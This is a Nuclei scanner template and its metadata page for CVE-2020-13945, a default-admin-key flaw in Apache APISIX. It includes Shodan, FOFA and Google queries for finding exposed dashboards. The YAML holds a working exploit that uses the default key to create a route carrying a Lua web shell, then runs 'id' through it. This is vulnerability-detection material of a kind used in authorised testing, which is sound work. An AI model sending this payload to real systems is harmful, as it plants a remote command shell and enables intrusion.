CVE-2020-13945: Apache APISIX - Insufficiently Protected Credentials
- Template: CVE-2020-13945
- Name: Apache APISIX - Insufficiently Protected Credentials
- Description: Apache APISIX 1.2, 1.3, 1.4, and 1.5 is susceptible to insufficiently protected credentials. An attacker can enable the Admin API and delete the Admin API access IP restriction rules. Eventually, the default token is allowed to access APISIX management data.
- Impact: The vulnerability could result in unauthorized access to sensitive information, leading to potential data breaches or unauthorized actions.
- Remediation: Upgrade to the latest version of Apache APISIX, which includes a fix for the vulnerability. Additionally, ensure that sensitive credentials are properly protected and stored securely.
- Severity: medium
- Authors: pdteam
- Tags: cve2020, cve, intrusive, vulhub, packetstorm, apache, apisix, vuln, vkev
- References: https://github.com/vulhub/vulhub/tree/master/apisix/CVE-2020-13945, https://lists.apache.org/thread.html/r792feb29964067a4108f53e8579a1e9bd1c8b5b9bc95618c814faf2f%40%3Cdev.apisix.apache.org%3E, http://packetstormsecurity.com/files/166228/Apache-APISIX-Remote-Code-Execution.html, https://nvd.nist.gov/vuln/detail/CVE-2020-13945, https://github.com/ARPSyndicate/cvemon
- Cves: CVE-2020-13945
- Max requests: 2
- Directory: http/cves
- Path: http/cves/2020/CVE-2020-13945.yaml
- Digest: 4a0a0047304502204aca58058102c0aff3bc6e59f80dd84816aed9ccbfe5eb7eaf4a313d06a94419022100e0eaecef28458811d3ad99e46c7f1b167e5083a7e890a4f5a88ab1c2b706336a
- Created at: 2022-01-16T16:38:55Z
- Updated at: 2026-11-22T02:03:55Z
- Age in days: 1773
- Template url: https://github.com/projectdiscovery/nuclei-templates/blob/main/http/cves/2020/CVE-2020-13945.yaml
- Checked, none or zero: verified
Classification
- Cwe: CWE-522
- Cvss score: 6.5
- Cvss vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
- Epss score: 0.73585
- Epss percentile: 0.99477
- Cpe: cpe:2.3:a:apache:apisix:*:*:*:*:*:*:*:*
Metadata
- Fofa-query: title="apache apisix dashboard"
- Google-query: intitle:"apache apisix dashboard"
- Max-request: 2
- Product: apisix
- Shodan-query: http.title:"apache apisix dashboard"
- Vendor: apache
Products
| Product | Indexed | Url |
|---|---|---|
| apache:apisix | yes | /v1/products/apache/apisix |
Labels
- Name: Apache APISIX - Broken Access Control
- Impact: Attackers can access management data, modify configurations, and potentially take control of the system.
- Remediation: Update to the latest version of Apache APISIX where this issue is fixed.
- Vulnerability type: broken_access_control
- Vulnerability impact: information_disclosure, data_tampering
- Requirement type: none
- Labels source: projectdiscovery
- From cve: CVE-2020-13945
- Not known: requirements
```yaml
id: CVE-2020-13945
info:
name: Apache APISIX - Insufficiently Protected Credentials
author: pdteam
severity: medium
description: Apache APISIX 1.2, 1.3, 1.4, and 1.5 is susceptible to insufficiently protected credentials. An attacker can enable the Admin API and delete the Admin API access IP restriction rules. Eventually, the default token is allowed to access APISIX management data.
impact: |
The vulnerability could result in unauthorized access to sensitive information, leading to potential data breaches or unauthorized actions.
remediation: |
Upgrade to the latest version of Apache APISIX, which includes a fix for the vulnerability. Additionally, ensure that sensitive credentials are properly protected and stored securely.
reference:
- https://github.com/vulhub/vulhub/tree/master/apisix/CVE-2020-13945
- http://packetstormsecurity.com/files/166228/Apache-APISIX-Remote-Code-Execution.html
- https://nvd.nist.gov/vuln/detail/CVE-2020-13945
- https://github.com/ARPSyndicate/cvemon
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
cvss-score: 6.5
cve-id: CVE-2020-13945
cwe-id: CWE-522
epss-score: 0.73585
epss-percentile: 0.99477
cpe: cpe:2.3:a:apache:apisix:*:*:*:*:*:*:*:*
metadata:
max-request: 2
vendor: apache
product: apisix
shodan-query: http.title:"apache apisix dashboard"
fofa-query: title="apache apisix dashboard"
google-query: intitle:"apache apisix dashboard"
tags: cve2020,cve,intrusive,vulhub,packetstorm,apache,apisix,vuln,vkev
http:
- raw:
- |
POST /apisix/admin/routes HTTP/1.1
Host: {{Hostname}}
X-API-KEY: edd1c9f034335f136f87ad84b625c8f1
Content-Type: application/json
{
"uri":"/{{randstr}}",
"script":"local _M = {} \n function _M.access(conf, ctx) \n local os = require('os')\n local args = assert(ngx.req.get_uri_args()) \n local f = assert(io.popen(args.cmd, 'r'))\n local s = assert(f:read('*a'))\n ngx.say(s)\n f:close() \n end \nreturn _M",
"upstream":{
"type":"roundrobin",
"nodes":{
"interact.sh:80":1
}
}
}
- |
GET /{{randstr}}?cmd=id HTTP/1.1
Host: {{Hostname}}
matchers-condition: and
matchers:
- type: word
words:
- '"action":"create"'
- '"script":'
- '"node":'
condition: and
- type: status
status:
- 201
extractors:
- type: regex
regex:
- "((u|g)id|groups)=[0-9]{1,4}\\([a-z0-9]+\\)"
digest: 4a0a0047304502204aca58058102c0aff3bc6e59f80dd84816aed9ccbfe5eb7eaf4a313d06a94419022100e0eaecef28458811d3ad99e46c7f1b167e5083a7e890a4f5a88ab1c2b706336a:922c64590222798bb761d5b6d8e72950
```